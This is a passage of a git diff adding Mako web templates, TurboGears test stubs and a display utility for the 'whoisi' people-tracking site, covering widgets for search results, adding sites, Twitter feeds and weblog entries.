+<b class="search-result-header">Search results for ${pretty_search | h}</b>&nbsp;&nbsp;<span class="search-result-summary">Showing ${start+1}-${end} of ${total_results}</span><br/>
+%if not re.match('^@', pretty_search) and not re.match('.+\:$', pretty_search):
+<span class="link-action"><a href="/addform?name=${pretty_search | h}">Add another ${pretty_search | h} not listed here</a></span><br/>
+%endif
+</div>
+</div>
+
+%for p in people:
+  <div class="result-block">
+  ${person_widget(person=p, other_names=other_names[p.id], sites=sites[p.id], new_sites=None, site_history=site_history, display="search")}
+  </div>
+%endfor
+
+%if not (cur_page == 0 and last_page):
+  <div>
+  %if cur_page != 0:
+    <a href="/search?search=${search | u}&amp;page=${cur_page-1}">&lt;-- Previous</a>&nbsp;&nbsp;
+  %endif
+  %if not last_page:
+    <a href="/search?search=${search | u}&amp;page=${cur_page+1}">Next --&gt;</a>
+  %endif
+  </div>
+%endif
diff --git a/whoisi/templates/site-add-error-widget.mak b/whoisi/templates/site-add-error-widget.mak
new file mode 100644 (file)
index 0000000..f5050bc
--- /dev/null
@@ -0,0 +1,29 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<div class="link-collection-item">
+<div class="error site-add-wrapper">
+Failed to add new site: ${error}
+</div>
+</div>
diff --git a/whoisi/templates/site-add-pick-widget.mak b/whoisi/templates/site-add-pick-widget.mak
new file mode 100644 (file)
index 0000000..5bf0d85
--- /dev/null
@@ -0,0 +1,45 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="site_add_pick_widget(new_site, feeds)">
+<div class="link-collection-item">
+<div class="site-add-wrapper">
+
+<div class="url-pick">
+This site has more than one feed associated with it.  Please pick one
+of the feeds below to add it.
+</div>
+
+%for i in range(0, len(feeds)):
+  <div class="url-pick">
+  <a href="#" class="site-add-pick" newsite-id="${new_site}" feed-id="${i}">${feeds[i][2] | h}</a>
+  </div>
+%endfor
+
+</div>
+</div>
+
+</%def>
+
+${site_add_pick_widget(new_site=new_site, feeds=feeds)}
diff --git a/whoisi/templates/site-add-status-widget.mak b/whoisi/templates/site-add-status-widget.mak
new file mode 100644 (file)
index 0000000..7dc3930
--- /dev/null
@@ -0,0 +1,33 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="site_add_status_widget(new_site)">
+<div class="link-collection-item">
+<div class="site-add-wrapper">
+<a class="site-add-status" newsite-id="${new_site}" href="#">Loading...</a>
+</div>
+</div>
+</%def>
+
+${site_add_status_widget(new_site=new_site)}
diff --git a/whoisi/templates/site-add-widget.mak b/whoisi/templates/site-add-widget.mak
new file mode 100644 (file)
index 0000000..3c0f980
--- /dev/null
@@ -0,0 +1,43 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="site_add_widget(person, url, error_text)">
+
+<div class="link-collection-item">
+<div class="site-add-wrapper">
+<input type="hidden" name="person" value="${person | h}" />
+%if error_text:
+  <div class="error">${error_text}<br/><br/></div>
+%endif
+<div class="recaptcha">Loading Captcha...</div><br/>
+Please enter a URL or RSS feed for a site:
+<input type="text" name="url" size="45" value="${url or u'' | h}" /><br/><br/>
+<input class="site-add-button" type="button" name="add" value="Add Site"/>
+<input class="site-add-cancel" type="button" name="add-cancel" value="Cancel"/>
+</div>
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${site_add_widget(person=person, url=url, error_text=error_text)}
diff --git a/whoisi/templates/site-remove-widget.mak b/whoisi/templates/site-remove-widget.mak
new file mode 100644 (file)
index 0000000..7f6005f
--- /dev/null
@@ -0,0 +1,43 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="site_remove_widget(site, error_text)">
+
+<div class="link-collection-item">
+<div class="person-edit-wrapper">
+%if error_text:
+<div class="error">${error_text}<br/><br/></div>
+%endif
+<div class="recaptcha">Loading Captcha...</div><br/>
+Please prove you're human to remove this site.
+<br/><br/>
+<input type="hidden" name="site" value="${site | h}" />
+<input type="button" name="site-remove-button" value="Remove"/>
+<input type="button" name="site-remove-cancel" value="Cancel"/>
+</div>
+</div>
+
+</%def>
+
+${site_remove_widget(site=site, error_text=error_text)}
diff --git a/whoisi/templates/twitter-widget.mak b/whoisi/templates/twitter-widget.mak
new file mode 100644 (file)
index 0000000..80bf079
--- /dev/null
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.display import confirm_escape, expand_href, short_link_ref
+from whoisi.utils.twitter import get_name_prefix, get_text, expand_user_ref
+%>
+
+<%def name="twitter_widget(site, site_history, display)">
+
+<%
+name_prefix = get_name_prefix(site)
+name_re = "^" + name_prefix + ": "
+count = len(site_history)
+entries = site_history
+%>
+
+<div class="link-collection-item" site-id="${site.id}">
+<img src="/static/images/sites/twitter.png"/>
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">Twitter</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+<div class="twitter-collection">
+%for i in range(0, count):
+<div class="twitter-entry">
+<%
+entry = entries[i]
+txt = get_text(name_re, entry.getText())
+txt = confirm_escape(txt)
+txt = expand_href(txt)
+txt = expand_user_ref(txt, "http://twitter.com/")
+%>
+${txt}
+  %if display == "preview":
+  <span class="timestamp"><a class="short-link" href="${entry.link}">${entry.getAge()}</a></span>
+  %else:
+  <span class="timestamp"><a class="short-link" href="${short_link_ref(entry.id)}">${entry.getAge()}</a></span>
+  %endif
+</div> <!-- twitter-entry -->
+%endfor
+</div> <!-- twitter-collection -->
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${twitter_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/unseen-no-entries.mak b/whoisi/templates/unseen-no-entries.mak
new file mode 100644 (file)
index 0000000..050908e
--- /dev/null
@@ -0,0 +1,49 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Oop.  Nothing new to stare at.</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<h1>Sorry, nothing new.  I guess the Internet is quiet today.</h1>
+
+<p style="width: 60%">
+
+Nothing new to see here, but you can always go and look at
+the <a href="/follow">follow</a> page to bask in the glory of the
+past.
+
+</p>
+
+<p>
+When your contacts post something new, it will show up here.
+</p>
+
diff --git a/whoisi/templates/unseen.mak b/whoisi/templates/unseen.mak
new file mode 100644 (file)
index 0000000..bac6249
--- /dev/null
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Stuff you haven't seen yet.</%def>
+
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="twitter-widget.mak" import="twitter_widget"/>
+<%namespace file="identica-widget.mak" import="identica_widget"/>
+<%namespace file="weblog-widget.mak" import="weblog_widget"/>
+<%namespace file="flickr-widget.mak" import="flickr_widget"/>
+<%namespace file="picasa-widget.mak" import="picasa_widget"/>
+<%namespace file="delicious-widget.mak" import="delicious_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+All caught up?  Click on the button below to reset your unseen count.
+
+<p>
+<form action="/caughtup">
+<input type="submit" value="All Caught Up!"/>
+<input type="hidden" name="history_id" value="${last_id}"/>
+</form>
+</p>
+
+<br/>
+
+%for cluster in clusters:
+<% site = cluster[0].site %>
+
+%if site.type == "twitter":
+${twitter_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "identica":
+${identica_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "feed":
+${weblog_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "flickr":
+${flickr_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "picasa":
+${picasa_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "delicious":
+${delicious_widget(site=site, site_history=cluster, display="time")}
+%endif
+
+%endfor
+
+<div>
+<%
+# find the lowest value id from all the clusters
+import sys
+min_id = sys.maxint
+for c in clusters:
+    for i in c:
+        min_id = min(min_id, i.id)
+%>
+<a href="/follow?start=${min_id}">More...</a>
+</div>
diff --git a/whoisi/templates/weblog-widget.mak b/whoisi/templates/weblog-widget.mak
new file mode 100644 (file)
index 0000000..fcf6b35
--- /dev/null
@@ -0,0 +1,109 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.display import confirm_escape, short_link_ref
+from whoisi.summary import SummaryCreator
+%>
+
+<%def name="weblog_widget(site, site_history, display)">
+
+<%
+_untitled = "<i>Untitled</i>"
+
+entries = site_history
+count = len(entries)
+
+if site.title:
+  x_title=confirm_escape(site.title)
+else:
+  x_title=_untitled
+%>
+
+<div class="link-collection-item" site-id="${site.id}">
+<img src="/static/images/sites/feed-icon-16x16.png"/>
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">${x_title}</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+%for i in range(0, count):
+<%
+entry = entries[i]
+if entry.title:
+  l_title = confirm_escape(entry.title)
+else:
+  l_title = _untitled
+%>
+
+<div class="weblog-entry">
+<a target="_blank" class="weblog-summary" href="${entry.link}">${l_title}</a>&nbsp;&nbsp;
+<span class="timestamp">
+%if display == "preview":
+<a class="short-link" href="${entry.link}">${entry.getAge()}</a>
+%else:
+<a class="short-link" href="${short_link_ref(entry.id)}">${entry.getAge()}</a>
+%endif
+</span>
+<br/>
+%if display == "full":
+<% entry_text = entry.getText() %>
+  %if entry_text:
+    <div class="weblog-summary">
+    <%
+    sc = SummaryCreator()
+    sc.feed(entry_text)
+    se, had_more_text = sc.output()
+    %>
+    ${se}
+    %if has_more_text:
+      <div><a class="weblog-summary" target="_blank" href="${entry.link}">More...</a></div>
+    %endif ## has_more_text
+    </div>
+  %endif ## entry_text
+%endif ## display == full
+
+</div> <!-- weblog-entry -->
+
+%endfor
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${weblog_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/welcome.kid b/whoisi/templates/welcome.kid
new file mode 100644 (file)
index 0000000..9095267
--- /dev/null
@@ -0,0 +1,47 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r
+<html xmlns="http://www.w3.org/1999/xhtml" xmlns:py="http://purl.org/kid/ns#"\r
+    py:extends="'master.kid'">\r
+<head>\r
+<meta content="text/html; charset=utf-8" http-equiv="Content-Type" py:replace="''"/>\r
+<title>Welcome to TurboGears</title>\r
+</head>\r
+<body>\r
+\r
+  <div id="sidebar">\r
+    <h2>Learn more</h2>\r
+    Learn more about TurboGears and take part in its\r
+    development\r
+    <ul class="links">\r
+      <li><a href="http://www.turbogears.org">Official website</a></li>\r
+      <li><a href="http://docs.turbogears.org">Documentation</a></li>\r
+      <li><a href="http://trac.turbogears.org/turbogears/">Trac\r
+        (bugs/suggestions)</a></li>\r
+      <li><a href="http://groups.google.com/group/turbogears"> Mailing list</a> </li>\r
+    </ul>\r
+    <span py:replace="now">now</span>\r
+  </div>\r
+  <div id="getting_started">\r
+    <ol id="getting_started_steps">\r
+      <li class="getting_started">\r
+        <h3>Model</h3>\r
+        <p> <a href="http://docs.turbogears.org/1.0/GettingStarted/DefineDatabase">Design models</a> in the <span class="code">model.py</span>.<br/>\r
+          Edit <span class="code">dev.cfg</span> to <a href="http://docs.turbogears.org/1.0/GettingStarted/UseDatabase">use a different backend</a>, or start with a pre-configured SQLite database. <br/>\r
+          Use script <span class="code">tg-admin sql create</span> to create the database tables.</p>\r
+      </li>\r
+      <li class="getting_started">\r
+        <h3>View</h3>\r
+        <p> Edit <a href="http://docs.turbogears.org/1.0/GettingStarted/Kid">html-like templates</a> in the <span class="code">/templates</span> folder;<br/>\r
+        Put all <a href="http://docs.turbogears.org/1.0/StaticFiles">static contents</a> in the <span class="code">/static</span> folder. </p>\r
+      </li>\r
+      <li class="getting_started">\r
+        <h3>Controller</h3>\r
+        <p> Edit <span class="code"> controllers.py</span> and <a href="http://docs.turbogears.org/1.0/GettingStarted/CherryPy">build your\r
+          website structure</a> with the simplicity of Python objects. <br/>\r
+          TurboGears will automatically reload itself when you modify your project. </p>\r
+      </li>\r
+    </ol>\r
+    <div class="notice"> If you create something cool, please <a href="http://groups.google.com/group/turbogears">let people know</a>, and consider contributing something back to the <a href="http://groups.google.com/group/turbogears">community</a>.</div>\r
+  </div>\r
+  <!-- End of getting_started -->\r
+</body>\r
+</html>\r
diff --git a/whoisi/tests/__init__.py b/whoisi/tests/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/whoisi/tests/test_controllers.py b/whoisi/tests/test_controllers.py
new file mode 100644 (file)
index 0000000..7b96d41
--- /dev/null
@@ -0,0 +1,67 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import unittest
+import turbogears
+from turbogears import testutil, update_config
+from whoisi.controllers import Root
+import cherrypy
+
+cherrypy.root = Root()
+
+class TestPages(unittest.TestCase):
+
+    def setUp(self):
+        turbogears.startup.startTurboGears()
+
+    def tearDown(self):
+        """Tests for apps using identity need to stop CP/TG after each test to
+        stop the VisitManager thread. 
+        See http://trac.turbogears.org/turbogears/ticket/1217 for details.
+        """
+        turbogears.startup.stopTurboGears()
+
+#    def test_everyonechpperf(self):
+#        for i in range(0, 100):
+#            testutil.call(cherrypy.root.everyone)
+
+    def test_everyonetgperf(self):
+        for i in range(0, 1000):
+            result = testutil.createRequest('/speedtest', method="GET")
+
+#    def test_method(self):
+#        "the index method should return a string called now"
+#        import types
+#        result = testutil.call(cherrypy.root.index)
+#        assert type(result["now"]) == types.StringType
+
+#    def test_indextitle(self):
+#        "The indexpage should have the right title"
+#        testutil.createRequest("/")
+#        response = cherrypy.response.body[0].lower() 
+#        assert "<title>welcome to turbogears</title>" in response
+
+#    def test_logintitle(self):
+#        "login page should have the right title"
+#        testutil.createRequest("/login")
+#        response = cherrypy.response.body[0].lower()
+#        assert "<title>login</title>" in response
diff --git a/whoisi/tests/test_model.py b/whoisi/tests/test_model.py
new file mode 100644 (file)
index 0000000..a816b11
--- /dev/null
@@ -0,0 +1,44 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# If your project uses a database, you can set up database tests
+# similar to what you see below. Be sure to set the db_uri to
+# an appropriate uri for your testing database. sqlite is a good
+# choice for testing, because you can use an in-memory database
+# which is very fast.
+
+from turbogears import testutil, database
+# from whoisi.model import YourDataClass, User
+
+# database.set_db_uri("sqlite:///:memory:")
+
+# class TestUser(testutil.DBTest):
+#     def get_model(self):
+#         return User
+#     def test_creation(self):
+#         "Object creation should set the name"
+#         obj = User(user_name = "creosote",
+#                       email_address = "spam@python.not",
+#                       display_name = "Mr Creosote",
+#                       password = "Wafer-thin Mint")
+#         assert obj.display_name == "Mr Creosote"
+
diff --git a/whoisi/utils/__init__.py b/whoisi/utils/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/whoisi/utils/display.py b/whoisi/utils/display.py
new file mode 100644 (file)
index 0000000..0c0347a
--- /dev/null
@@ -0,0 +1,57 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import re
+import cgi
+
+def confirm_escape(string):
+    # if an entry contains unescaped stuff, pass it through the escape
+    # filter
+    if re.search("&(?!amp;|#\d+;|gt;|lt;)|<|>|\"", string):
